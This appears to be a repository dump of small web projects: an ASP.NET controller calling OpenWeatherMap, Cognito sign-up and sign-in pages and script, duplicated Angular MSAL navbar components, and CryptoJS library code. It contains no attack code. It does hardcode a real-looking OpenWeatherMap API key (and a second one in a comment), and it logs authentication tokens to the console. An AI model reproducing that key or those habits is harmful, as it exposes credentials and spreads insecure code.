WeatherForecastController : ControllerBase 17 | { 18 | const string OPEN_MAP_API_KEY = "9bc8abf258686a04166632d1357ab64e"; 19 | private static readonly string[] Summaries = new[] 20 | { 21 | "Freezing", "Bracing", "Chilly", "Cool", "Mild", "Warm", "Balmy", "Hot", "Sweltering", "Scorching" 22 | }; 23 | 24 | private readonly ILogger _logger; 25 | 26 | public WeatherForecastController(ILogger logger) 27 | { 28 | _logger = logger; 29 | } 30 | 31 | [HttpGet] 32 | public IEnumerable Get() 33 | { 34 | var rng = new Random(); 35 | return Enumerable.Range(1, 5).Select(index => new WeatherForecast 36 | { 37 | Date = DateTime.Now.AddDays(index), 38 | TemperatureC = rng.Next(-20, 55), 39 | Summary = Summaries[rng.Next(Summaries.Length)] 40 | }) 41 | .ToArray(); 42 | } 43 | 44 | // https://localhost:5001/weatherforecast/city/denver 45 | [HttpGet("[action]/{city}")] 46 | public async Task City(string city) 47 | { 48 | using (var client = new HttpClient()) 49 | { 50 | try 51 | { 52 | // api.openweathermap.org/data/2.5/weather?zip=92128&appid=4bc6abf258686a04166632d1357ab64e&units=imperial 53 | client.BaseAddress = new Uri("http://api.openweathermap.org"); 54 | var response = await client.GetAsync($"/data/2.5/weather?q={city}&appid={OPEN_MAP_API_KEY}&units=imperial"); 55 | response.EnsureSuccessStatusCode(); 56 | 57 | var stringResult = await response.Content.ReadAsStringAsync(); 58 | var rawWeather = JsonConvert.DeserializeObject(stringResult); 59 | return Ok(new 60 | { 61 | Temp = rawWeather.Main.Temp, 62 | Summary = string.Join(",", rawWeather.Weather.Select(x => x.Main)), 63 | City = rawWeather.Name 64 | }); 65 | } 66 | catch (HttpRequestException httpRequestException) 67 | { 68 | return BadRequest($"Error getting weather from OpenWeather: {httpRequestException.Message}"); 69 | } 70 | } 71 | } 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /cloud_friends/friends.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 11 | 12 | Cloud Friends 13 | 14 | 15 | 16 | 30 |
31 |

Friends

32 | 40 |
41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 59 | 60 | 61 | -------------------------------------------------------------------------------- /cloud_friends/confirm.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 9 | 10 | Dynamo-Chat 11 | 12 | 13 | 14 | 28 |
29 |
30 |

Enter your confirm code

31 | 41 |
42 |
43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /cloud_friends/js/apiGateway-js-sdk/lib/apiGatewayCore/simpleHttpClient.js: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2010-2016 Amazon.com, Inc. or its affiliates. All Rights Reserved. 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"). 5 | * You may not use this file except in compliance with the License. 6 | * A copy of the License is located at 7 | * 8 | * http://aws.amazon.com/apache2.0 9 | * 10 | * or in the "license" file accompanying this file. This file is distributed 11 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 12 | * express or implied. See the License for the specific language governing 13 | * permissions and limitations under the License. 14 | */ 15 | 16 | var apiGateway = apiGateway || {}; 17 | apiGateway.core = apiGateway.core || {}; 18 | 19 | apiGateway.core.simpleHttpClientFactory = {}; 20 | apiGateway.core.simpleHttpClientFactory.newClient = function (config) { 21 | function buildCanonicalQueryString(queryParams) { 22 | //Build a properly encoded query string from a QueryParam object 23 | if (Object.keys(queryParams).length < 1) { 24 | return ''; 25 | } 26 | 27 | var canonicalQueryString = ''; 28 | for (var property in queryParams) { 29 | if (queryParams.hasOwnProperty(property)) { 30 | canonicalQueryString += encodeURIComponent(property) + '=' + encodeURIComponent(queryParams[property]) + '&'; 31 | } 32 | } 33 | 34 | return canonicalQueryString.substr(0, canonicalQueryString.length - 1); 35 | } 36 | 37 | var simpleHttpClient = { }; 38 | simpleHttpClient.endpoint = apiGateway.core.utils.assertDefined(config.endpoint, 'endpoint'); 39 | 40 | simpleHttpClient.makeRequest = function (request) { 41 | var verb = apiGateway.core.utils.assertDefined(request.verb, 'verb'); 42 | var path = apiGateway.core.utils.assertDefined(request.path, 'path'); 43 | var queryParams = apiGateway.core.utils.copy(request.queryParams); 44 | if (queryParams === undefined) { 45 | queryParams = {}; 46 | } 47 | var headers = apiGateway.core.utils.copy(request.headers); 48 | if (headers === undefined) { 49 | headers = {}; 50 | } 51 | 52 | //If the user has not specified an override for Content type the use default 53 | if(headers['Content-Type'] === undefined) { 54 | headers['Content-Type'] = config.defaultContentType; 55 | } 56 | 57 | //If the user has not specified an override for Accept type the use default 58 | if(headers['Accept'] === undefined) { 59 | headers['Accept'] = config.defaultAcceptType; 60 | } 61 | 62 | var body = apiGateway.core.utils.copy(request.body); 63 | if (body === undefined) { 64 | body = ''; 65 | } 66 | 67 | var url = config.endpoint + path; 68 | var queryString = buildCanonicalQueryString(queryParams); 69 | if (queryString != '') { 70 | url += '?' + queryString; 71 | } 72 | var simpleHttpRequest = { 73 | method: verb, 74 | url: url, 75 | headers: headers, 76 | data: body 77 | }; 78 | return axios(simpleHttpRequest); 79 | }; 80 | return simpleHttpClient; 81 | }; -------------------------------------------------------------------------------- /cloud_friends/chat.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 11 | 12 | Cloud Friends 13 | 14 | 15 | 16 | 30 |
31 |
32 |
33 |
34 | 35 | 36 |
37 |
38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 62 | 63 | 64 | -------------------------------------------------------------------------------- /cloud_friends/signin.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 11 | 12 | Cloud Friends | SignIn 13 | 14 | 15 | 16 | 30 |
31 |
32 |

Sign In

33 | 44 |
45 |
46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | -------------------------------------------------------------------------------- /cloud_friends/js/apiGateway-js-sdk/README.md: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | For the JavaScript SDK to work your APIs need to support CORS. The Amazon API Gateway developer guide explains how to [setup CORS for an endpoint](). 3 | The generated SDK depends on third-party libraries. Include all of the scripts in your webpage 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | # Use the SDK in your project 18 | 19 | To initialize the most basic form of the SDK: 20 | 21 | ``` 22 | var apigClient = apigClientFactory.newClient(); 23 | ``` 24 | 25 | Calls to an API take the form outlined below. Each API call returns a promise, that invokes either a success and failure callback 26 | 27 | ``` 28 | var params = { 29 | //This is where any header, path, or querystring request params go. The key is the parameter named as defined in the API 30 | param0: '', 31 | param1: '' 32 | }; 33 | var body = { 34 | //This is where you define the body of the request 35 | }; 36 | var additionalParams = { 37 | //If there are any unmodeled query parameters or headers that need to be sent with the request you can add them here 38 | headers: { 39 | param0: '', 40 | param1: '' 41 | }, 42 | queryParams: { 43 | param0: '', 44 | param1: '' 45 | } 46 | }; 47 | 48 | apigClient.methodName(params, body, additionalParams) 49 | .then(function(result){ 50 | //This is where you would put a success callback 51 | }).catch( function(result){ 52 | //This is where you would put an error callback 53 | }); 54 | ``` 55 | 56 | #Using AWS IAM for authorization 57 | To initialize the SDK with AWS Credentials use the code below. Note, if you use credentials all requests to the API will be signed. This means you will have to set the appropiate CORS accept-* headers for each request. 58 | 59 | ``` 60 | var apigClient = apigClientFactory.newClient({ 61 | accessKey: 'ACCESS_KEY', 62 | secretKey: 'SECRET_KEY', 63 | sessionToken: 'SESSION_TOKEN', //OPTIONAL: If you are using temporary credentials you must include the session token 64 | region: 'eu-west-1' // OPTIONAL: The region where the API is deployed, by default this parameter is set to us-east-1 65 | }); 66 | ``` 67 | 68 | #Using API Keys 69 | To use an API Key with the client SDK you can pass the key as a parameter to the Factory object. Note, if you use an apiKey it will be attached as the header 'x-api-key' to all requests to the API will be signed. This means you will have to set the appropiate CORS accept-* headers for each request. 70 | 71 | ``` 72 | var apigClient = apigClientFactory.newClient({ 73 | apiKey: 'API_KEY' 74 | }); 75 | ``` 76 | 77 | 78 | 79 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/src/app/navbar/navbar.component.ts: -------------------------------------------------------------------------------- 1 | import { Component, OnInit } from "@angular/core"; 2 | import { MsalService, BroadcastService } from "@azure/msal-angular"; 3 | import { Subscription } from "rxjs"; 4 | import { HttpClient } from "@angular/common/http"; 5 | 6 | @Component({ 7 | selector: "app-navbar", 8 | templateUrl: "./navbar.component.html", 9 | styleUrls: ["./navbar.component.css"], 10 | }) 11 | export class NavbarComponent implements OnInit { 12 | accountName = ""; 13 | isLoggedIn = false; 14 | passwordResetAuthority = 15 | "https://jitbox.b2clogin.com/jitbox.onmicrosoft.com/B2C_1_pwreset"; 16 | subscriptions: Subscription[] = []; 17 | 18 | constructor( 19 | private authService: MsalService, 20 | private broadcastService: BroadcastService, 21 | private http: HttpClient 22 | ) {} 23 | 24 | ngOnInit(): void { 25 | let loginSuccessSubscription: Subscription; 26 | let loginFailureSubscription: Subscription; 27 | 28 | loginSuccessSubscription = this.broadcastService.subscribe( 29 | "msal:loginSuccess", 30 | (success) => { 31 | // We need to reject id tokens that were not issued with the default sign-in policy. 32 | // "acr" claim in the token tells us what policy is used (NOTE: for new policies (v2.0), use "tfp" instead of "acr") 33 | // To learn more about b2c tokens, visit https://docs.microsoft.com/en-us/azure/active-directory-b2c/tokens-overview 34 | if (success.idToken.claims["acr"] === "B2C_1_susi") { 35 | window.alert( 36 | "Password has been reset successfully. \nPlease sign-in with your new password" 37 | ); 38 | return this.authService.logout(); 39 | } 40 | console.log( 41 | "login succeeded. id token acquired at: " + new Date().toString() 42 | ); 43 | console.log(success); 44 | this.checkAccount(); 45 | } 46 | ); 47 | 48 | loginFailureSubscription = this.broadcastService.subscribe( 49 | "msal:loginFailure", 50 | (error) => { 51 | console.log("login failed"); 52 | console.log(error); 53 | 54 | // Check for forgot password error 55 | // Learn more about AAD error codes at https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes 56 | if (error.errorMessage.indexOf("AADB2C90118") > -1) { 57 | { 58 | this.authService.loginPopup({ 59 | authority: this.passwordResetAuthority, 60 | }); 61 | } 62 | } 63 | this.checkAccount(); 64 | } 65 | ); 66 | 67 | this.subscriptions.push(loginSuccessSubscription); 68 | this.subscriptions.push(loginFailureSubscription); 69 | this.checkAccount(); 70 | } 71 | 72 | ngOnDestroy(): void { 73 | this.subscriptions.forEach((subscription) => subscription.unsubscribe()); 74 | } 75 | 76 | onLogin() { 77 | if (this.isLoggedIn) { 78 | this.authService.logout(); 79 | } else { 80 | this.authService 81 | .loginPopup() 82 | .then((result) => { 83 | console.log("Login success", result); 84 | }) 85 | .catch((err) => { 86 | console.log("Login failed : ", err); 87 | }); 88 | } 89 | } 90 | 91 | checkAccount() { 92 | this.isLoggedIn = !!this.authService.getAccount(); 93 | if (this.isLoggedIn) { 94 | this.accountName = this.authService.getAccount().name; 95 | } else { 96 | this.accountName = ""; 97 | } 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/src/app/navbar/navbar.component.ts: -------------------------------------------------------------------------------- 1 | import { Component, OnInit } from "@angular/core"; 2 | import { MsalService, BroadcastService } from "@azure/msal-angular"; 3 | import { Subscription } from "rxjs"; 4 | import { HttpClient } from "@angular/common/http"; 5 | 6 | @Component({ 7 | selector: "app-navbar", 8 | templateUrl: "./navbar.component.html", 9 | styleUrls: ["./navbar.component.css"], 10 | }) 11 | export class NavbarComponent implements OnInit { 12 | accountName = ""; 13 | isLoggedIn = false; 14 | passwordResetAuthority = 15 | "https://jitbox.b2clogin.com/jitbox.onmicrosoft.com/B2C_1_pwreset"; 16 | subscriptions: Subscription[] = []; 17 | 18 | constructor( 19 | private authService: MsalService, 20 | private broadcastService: BroadcastService, 21 | private http: HttpClient 22 | ) {} 23 | 24 | ngOnInit(): void { 25 | let loginSuccessSubscription: Subscription; 26 | let loginFailureSubscription: Subscription; 27 | 28 | loginSuccessSubscription = this.broadcastService.subscribe( 29 | "msal:loginSuccess", 30 | (success) => { 31 | // We need to reject id tokens that were not issued with the default sign-in policy. 32 | // "acr" claim in the token tells us what policy is used (NOTE: for new policies (v2.0), use "tfp" instead of "acr") 33 | // To learn more about b2c tokens, visit https://docs.microsoft.com/en-us/azure/active-directory-b2c/tokens-overview 34 | if (success.idToken.claims["acr"] === "B2C_1_susi") { 35 | window.alert( 36 | "Password has been reset successfully. \nPlease sign-in with your new password" 37 | ); 38 | return this.authService.logout(); 39 | } 40 | console.log( 41 | "login succeeded. id token acquired at: " + new Date().toString() 42 | ); 43 | console.log(success); 44 | this.checkAccount(); 45 | } 46 | ); 47 | 48 | loginFailureSubscription = this.broadcastService.subscribe( 49 | "msal:loginFailure", 50 | (error) => { 51 | console.log("login failed"); 52 | console.log(error); 53 | 54 | // Check for forgot password error 55 | // Learn more about AAD error codes at https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes 56 | if (error.errorMessage.indexOf("AADB2C90118") > -1) { 57 | { 58 | this.authService.loginPopup({ 59 | authority: this.passwordResetAuthority, 60 | }); 61 | } 62 | } 63 | this.checkAccount(); 64 | } 65 | ); 66 | 67 | this.subscriptions.push(loginSuccessSubscription); 68 | this.subscriptions.push(loginFailureSubscription); 69 | this.checkAccount(); 70 | } 71 | 72 | ngOnDestroy(): void { 73 | this.subscriptions.forEach((subscription) => subscription.unsubscribe()); 74 | } 75 | 76 | onLogin() { 77 | if (this.isLoggedIn) { 78 | this.authService.logout(); 79 | } else { 80 | this.authService 81 | .loginPopup() 82 | .then((result) => { 83 | console.log("Login success", result); 84 | }) 85 | .catch((err) => { 86 | console.log("Login failed : ", err); 87 | }); 88 | } 89 | } 90 | 91 | checkAccount() { 92 | this.isLoggedIn = !!this.authService.getAccount(); 93 | if (this.isLoggedIn) { 94 | this.accountName = this.authService.getAccount().name; 95 | } else { 96 | this.accountName = ""; 97 | } 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /cloud_friends/signup.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 11 | 12 | Cognito-Auth 13 | 14 | 15 | 16 | 30 |
31 |
32 |

Sign Up

33 | 48 |
49 |
50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /cognito_auth/app.js: -------------------------------------------------------------------------------- 1 | 2 | const signUp = () => { 3 | event.preventDefault(); 4 | console.log("signup"); 5 | var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData); 6 | const username = document.querySelector("#username").value; 7 | const emailadd = document.querySelector("#email").value; 8 | const password = document.querySelector("#password").value; 9 | 10 | var email = new AmazonCognitoIdentity.CognitoUserAttribute({ 11 | Name: "email", 12 | Value: emailadd, 13 | }); 14 | 15 | userPool.signUp(username, password, [email], null, function (err, result) { 16 | if (err) { 17 | alert(err); 18 | } else { 19 | location.href = "confirm.html#" + username; 20 | } 21 | }); 22 | }; 23 | 24 | const confirmCode = () => { 25 | event.preventDefault(); 26 | const userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData); 27 | const username = location.hash.substring(1); 28 | const cognitoUser = new AmazonCognitoIdentity.CognitoUser({ 29 | Username: username, 30 | Pool: userPool, 31 | }); 32 | const code = document.querySelector("#confirm").value; 33 | console.log("code =" + code); 34 | cognitoUser.confirmRegistration(code, true, function (err, results) { 35 | if (err) { 36 | alert(err); 37 | } else { 38 | console.log("confirmed"); 39 | location.href = "signin.html"; 40 | } 41 | }); 42 | }; 43 | 44 | const resendCode = () => { 45 | event.preventDefault(); 46 | const userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData); 47 | const username = location.hash.substring(1); 48 | const cognitoUser = new AmazonCognitoIdentity.CognitoUser({ 49 | Username: username, 50 | Pool: userPool, 51 | }); 52 | cognitoUser.resendConfirmationCode(function (err) { 53 | if (err) { 54 | alert(err); 55 | } 56 | }); 57 | }; 58 | 59 | const signIn = () => { 60 | event.preventDefault(); 61 | const userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData); 62 | const username = document.querySelector("#username").value; 63 | const password = document.querySelector("#password").value; 64 | 65 | let authenticationData = { 66 | Username: username, 67 | Password: password, 68 | }; 69 | 70 | var authenticationDetails = new AmazonCognitoIdentity.AuthenticationDetails( 71 | authenticationData 72 | ); 73 | var userData = { 74 | Username: username, 75 | Pool: userPool, 76 | }; 77 | 78 | var cognitoUser = new AmazonCognitoIdentity.CognitoUser(userData); 79 | cognitoUser.authenticateUser(authenticationDetails, { 80 | onSuccess: function () { 81 | console.log("login success"); 82 | location.href = "index.html"; 83 | }, 84 | onFailure: function (err) { 85 | alert(JSON.stringify(err)); 86 | }, 87 | }); 88 | }; 89 | 90 | const signOut = () => { 91 | console.log("sign out"); 92 | const userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData); 93 | var cognitoUser = userPool.getCurrentUser(); 94 | if (cognitoUser) cognitoUser.signOut(); 95 | }; 96 | 97 | const checkLogin = () => { 98 | console.log("checking login.."); 99 | const login = false; 100 | const userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData); 101 | const userBtn = document.querySelector(".user"); 102 | var cognitoUser = userPool.getCurrentUser(); 103 | if (cognitoUser != null) { 104 | userBtn.innerHTML += cognitoUser.username; 105 | } 106 | }; -------------------------------------------------------------------------------- /jitbox/JitBoxNg/angular.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "./node_modules/@angular/cli/lib/config/schema.json", 3 | "version": 1, 4 | "newProjectRoot": "projects", 5 | "projects": { 6 | "JitBoxNg": { 7 | "projectType": "application", 8 | "schematics": { 9 | "@schematics/angular:component": { 10 | "inlineTemplate": false, 11 | "inlineStyle": false, 12 | "skipTests": true 13 | }, 14 | "@schematics/angular:class": { 15 | "skipTests": true 16 | }, 17 | "@schematics/angular:directive": { 18 | "skipTests": true 19 | }, 20 | "@schematics/angular:guard": { 21 | "skipTests": true 22 | }, 23 | "@schematics/angular:interceptor": { 24 | "skipTests": true 25 | }, 26 | "@schematics/angular:module": { 27 | "skipTests": true 28 | }, 29 | "@schematics/angular:pipe": { 30 | "skipTests": true 31 | }, 32 | "@schematics/angular:service": { 33 | "skipTests": true 34 | } 35 | }, 36 | "root": "", 37 | "sourceRoot": "src", 38 | "prefix": "app", 39 | "architect": { 40 | "build": { 41 | "builder": "@angular-devkit/build-angular:browser", 42 | "options": { 43 | "outputPath": "dist/JitBoxNg", 44 | "index": "src/index.html", 45 | "main": "src/main.ts", 46 | "polyfills": "src/polyfills.ts", 47 | "tsConfig": "tsconfig.app.json", 48 | "aot": true, 49 | "assets": [ 50 | "src/favicon.ico", 51 | "src/assets" 52 | ], 53 | "styles": [ 54 | "src/styles.css" 55 | ], 56 | "scripts": [ 57 | "node_modules/jquery/dist/jquery.min.js", 58 | "node_modules/bootstrap/dist/js/bootstrap.min.js" 59 | ] 60 | }, 61 | "configurations": { 62 | "production": { 63 | "fileReplacements": [ 64 | { 65 | "replace": "src/environments/environment.ts", 66 | "with": "src/environments/environment.prod.ts" 67 | } 68 | ], 69 | "optimization": true, 70 | "outputHashing": "all", 71 | "sourceMap": false, 72 | "extractCss": true, 73 | "namedChunks": false, 74 | "extractLicenses": true, 75 | "vendorChunk": false, 76 | "buildOptimizer": true, 77 | "budgets": [ 78 | { 79 | "type": "initial", 80 | "maximumWarning": "2mb", 81 | "maximumError": "5mb" 82 | }, 83 | { 84 | "type": "anyComponentStyle", 85 | "maximumWarning": "6kb", 86 | "maximumError": "10kb" 87 | } 88 | ] 89 | } 90 | } 91 | }, 92 | "serve": { 93 | "builder": "@angular-devkit/build-angular:dev-server", 94 | "options": { 95 | "browserTarget": "JitBoxNg:build" 96 | }, 97 | "configurations": { 98 | "production": { 99 | "browserTarget": "JitBoxNg:build:production" 100 | } 101 | } 102 | }, 103 | "extract-i18n": { 104 | "builder": "@angular-devkit/build-angular:extract-i18n", 105 | "options": { 106 | "browserTarget": "JitBoxNg:build" 107 | } 108 | } 109 | } 110 | }}, 111 | "defaultProject": "JitBoxNg" 112 | } 113 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/angular.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "./node_modules/@angular/cli/lib/config/schema.json", 3 | "version": 1, 4 | "newProjectRoot": "projects", 5 | "projects": { 6 | "JitBoxNg": { 7 | "projectType": "application", 8 | "schematics": { 9 | "@schematics/angular:component": { 10 | "inlineTemplate": false, 11 | "inlineStyle": false, 12 | "skipTests": true 13 | }, 14 | "@schematics/angular:class": { 15 | "skipTests": true 16 | }, 17 | "@schematics/angular:directive": { 18 | "skipTests": true 19 | }, 20 | "@schematics/angular:guard": { 21 | "skipTests": true 22 | }, 23 | "@schematics/angular:interceptor": { 24 | "skipTests": true 25 | }, 26 | "@schematics/angular:module": { 27 | "skipTests": true 28 | }, 29 | "@schematics/angular:pipe": { 30 | "skipTests": true 31 | }, 32 | "@schematics/angular:service": { 33 | "skipTests": true 34 | } 35 | }, 36 | "root": "", 37 | "sourceRoot": "src", 38 | "prefix": "app", 39 | "architect": { 40 | "build": { 41 | "builder": "@angular-devkit/build-angular:browser", 42 | "options": { 43 | "outputPath": "dist/JitBoxNg", 44 | "index": "src/index.html", 45 | "main": "src/main.ts", 46 | "polyfills": "src/polyfills.ts", 47 | "tsConfig": "tsconfig.app.json", 48 | "aot": true, 49 | "assets": [ 50 | "src/favicon.ico", 51 | "src/assets" 52 | ], 53 | "styles": [ 54 | "src/styles.css" 55 | ], 56 | "scripts": [ 57 | "node_modules/jquery/dist/jquery.min.js", 58 | "node_modules/bootstrap/dist/js/bootstrap.min.js" 59 | ] 60 | }, 61 | "configurations": { 62 | "production": { 63 | "fileReplacements": [ 64 | { 65 | "replace": "src/environments/environment.ts", 66 | "with": "src/environments/environment.prod.ts" 67 | } 68 | ], 69 | "optimization": true, 70 | "outputHashing": "all", 71 | "sourceMap": false, 72 | "extractCss": true, 73 | "namedChunks": false, 74 | "extractLicenses": true, 75 | "vendorChunk": false, 76 | "buildOptimizer": true, 77 | "budgets": [ 78 | { 79 | "type": "initial", 80 | "maximumWarning": "2mb", 81 | "maximumError": "5mb" 82 | }, 83 | { 84 | "type": "anyComponentStyle", 85 | "maximumWarning": "6kb", 86 | "maximumError": "10kb" 87 | } 88 | ] 89 | } 90 | } 91 | }, 92 | "serve": { 93 | "builder": "@angular-devkit/build-angular:dev-server", 94 | "options": { 95 | "browserTarget": "JitBoxNg:build" 96 | }, 97 | "configurations": { 98 | "production": { 99 | "browserTarget": "JitBoxNg:build:production" 100 | } 101 | } 102 | }, 103 | "extract-i18n": { 104 | "builder": "@angular-devkit/build-angular:extract-i18n", 105 | "options": { 106 | "browserTarget": "JitBoxNg:build" 107 | } 108 | } 109 | } 110 | }}, 111 | "defaultProject": "JitBoxNg" 112 | } 113 | -------------------------------------------------------------------------------- /cloud_friends/js/apiGateway-js-sdk/lib/CryptoJS/components/enc-base64.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | (function () { 8 | // Shortcuts 9 | var C = CryptoJS; 10 | var C_lib = C.lib; 11 | var WordArray = C_lib.WordArray; 12 | var C_enc = C.enc; 13 | 14 | /** 15 | * Base64 encoding strategy. 16 | */ 17 | var Base64 = C_enc.Base64 = { 18 | /** 19 | * Converts a word array to a Base64 string. 20 | * 21 | * @param {WordArray} wordArray The word array. 22 | * 23 | * @return {string} The Base64 string. 24 | * 25 | * @static 26 | * 27 | * @example 28 | * 29 | * var base64String = CryptoJS.enc.Base64.stringify(wordArray); 30 | */ 31 | stringify: function (wordArray) { 32 | // Shortcuts 33 | var words = wordArray.words; 34 | var sigBytes = wordArray.sigBytes; 35 | var map = this._map; 36 | 37 | // Clamp excess bits 38 | wordArray.clamp(); 39 | 40 | // Convert 41 | var base64Chars = []; 42 | for (var i = 0; i < sigBytes; i += 3) { 43 | var byte1 = (words[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xff; 44 | var byte2 = (words[(i + 1) >>> 2] >>> (24 - ((i + 1) % 4) * 8)) & 0xff; 45 | var byte3 = (words[(i + 2) >>> 2] >>> (24 - ((i + 2) % 4) * 8)) & 0xff; 46 | 47 | var triplet = (byte1 << 16) | (byte2 << 8) | byte3; 48 | 49 | for (var j = 0; (j < 4) && (i + j * 0.75 < sigBytes); j++) { 50 | base64Chars.push(map.charAt((triplet >>> (6 * (3 - j))) & 0x3f)); 51 | } 52 | } 53 | 54 | // Add padding 55 | var paddingChar = map.charAt(64); 56 | if (paddingChar) { 57 | while (base64Chars.length % 4) { 58 | base64Chars.push(paddingChar); 59 | } 60 | } 61 | 62 | return base64Chars.join(''); 63 | }, 64 | 65 | /** 66 | * Converts a Base64 string to a word array. 67 | * 68 | * @param {string} base64Str The Base64 string. 69 | * 70 | * @return {WordArray} The word array. 71 | * 72 | * @static 73 | * 74 | * @example 75 | * 76 | * var wordArray = CryptoJS.enc.Base64.parse(base64String); 77 | */ 78 | parse: function (base64Str) { 79 | // Shortcuts 80 | var base64StrLength = base64Str.length; 81 | var map = this._map; 82 | 83 | // Ignore padding 84 | var paddingChar = map.charAt(64); 85 | if (paddingChar) { 86 | var paddingIndex = base64Str.indexOf(paddingChar); 87 | if (paddingIndex != -1) { 88 | base64StrLength = paddingIndex; 89 | } 90 | } 91 | 92 | // Convert 93 | var words = []; 94 | var nBytes = 0; 95 | for (var i = 0; i < base64StrLength; i++) { 96 | if (i % 4) { 97 | var bits1 = map.indexOf(base64Str.charAt(i - 1)) << ((i % 4) * 2); 98 | var bits2 = map.indexOf(base64Str.charAt(i)) >>> (6 - (i % 4) * 2); 99 | words[nBytes >>> 2] |= (bits1 | bits2) << (24 - (nBytes % 4) * 8); 100 | nBytes++; 101 | } 102 | } 103 | 104 | return WordArray.create(words, nBytes); 105 | }, 106 | 107 | _map: 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=' 108 | }; 109 | }()); 110 | -------------------------------------------------------------------------------- /cloud_friends/js/apiGateway-js-sdk/lib/CryptoJS/components/hmac.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | (function () { 8 | // Shortcuts 9 | var C = CryptoJS; 10 | var C_lib = C.lib; 11 | var Base = C_lib.Base; 12 | var C_enc = C.enc; 13 | var Utf8 = C_enc.Utf8; 14 | var C_algo = C.algo; 15 | 16 | /** 17 | * HMAC algorithm. 18 | */ 19 | var HMAC = C_algo.HMAC = Base.extend({ 20 | /** 21 | * Initializes a newly created HMAC. 22 | * 23 | * @param {Hasher} hasher The hash algorithm to use. 24 | * @param {WordArray|string} key The secret key. 25 | * 26 | * @example 27 | * 28 | * var hmacHasher = CryptoJS.algo.HMAC.create(CryptoJS.algo.SHA256, key); 29 | */ 30 | init: function (hasher, key) { 31 | // Init hasher 32 | hasher = this._hasher = new hasher.init(); 33 | 34 | // Convert string to WordArray, else assume WordArray already 35 | if (typeof key == 'string') { 36 | key = Utf8.parse(key); 37 | } 38 | 39 | // Shortcuts 40 | var hasherBlockSize = hasher.blockSize; 41 | var hasherBlockSizeBytes = hasherBlockSize * 4; 42 | 43 | // Allow arbitrary length keys 44 | if (key.sigBytes > hasherBlockSizeBytes) { 45 | key = hasher.finalize(key); 46 | } 47 | 48 | // Clamp excess bits 49 | key.clamp(); 50 | 51 | // Clone key for inner and outer pads 52 | var oKey = this._oKey = key.clone(); 53 | var iKey = this._iKey = key.clone(); 54 | 55 | // Shortcuts 56 | var oKeyWords = oKey.words; 57 | var iKeyWords = iKey.words; 58 | 59 | // XOR keys with pad constants 60 | for (var i = 0; i < hasherBlockSize; i++) { 61 | oKeyWords[i] ^= 0x5c5c5c5c; 62 | iKeyWords[i] ^= 0x36363636; 63 | } 64 | oKey.sigBytes = iKey.sigBytes = hasherBlockSizeBytes; 65 | 66 | // Set initial values 67 | this.reset(); 68 | }, 69 | 70 | /** 71 | * Resets this HMAC to its initial state. 72 | * 73 | * @example 74 | * 75 | * hmacHasher.reset(); 76 | */ 77 | reset: function () { 78 | // Shortcut 79 | var hasher = this._hasher; 80 | 81 | // Reset 82 | hasher.reset(); 83 | hasher.update(this._iKey); 84 | }, 85 | 86 | /** 87 | * Updates this HMAC with a message. 88 | * 89 | * @param {WordArray|string} messageUpdate The message to append. 90 | * 91 | * @return {HMAC} This HMAC instance. 92 | * 93 | * @example 94 | * 95 | * hmacHasher.update('message'); 96 | * hmacHasher.update(wordArray); 97 | */ 98 | update: function (messageUpdate) { 99 | this._hasher.update(messageUpdate); 100 | 101 | // Chainable 102 | return this; 103 | }, 104 | 105 | /** 106 | * Finalizes the HMAC computation. 107 | * Note that the finalize operation is effectively a destructive, read-once operation. 108 | * 109 | * @param {WordArray|string} messageUpdate (Optional) A final message update. 110 | * 111 | * @return {WordArray} The HMAC. 112 | * 113 | * @example 114 | * 115 | * var hmac = hmacHasher.finalize(); 116 | * var hmac = hmacHasher.finalize('message'); 117 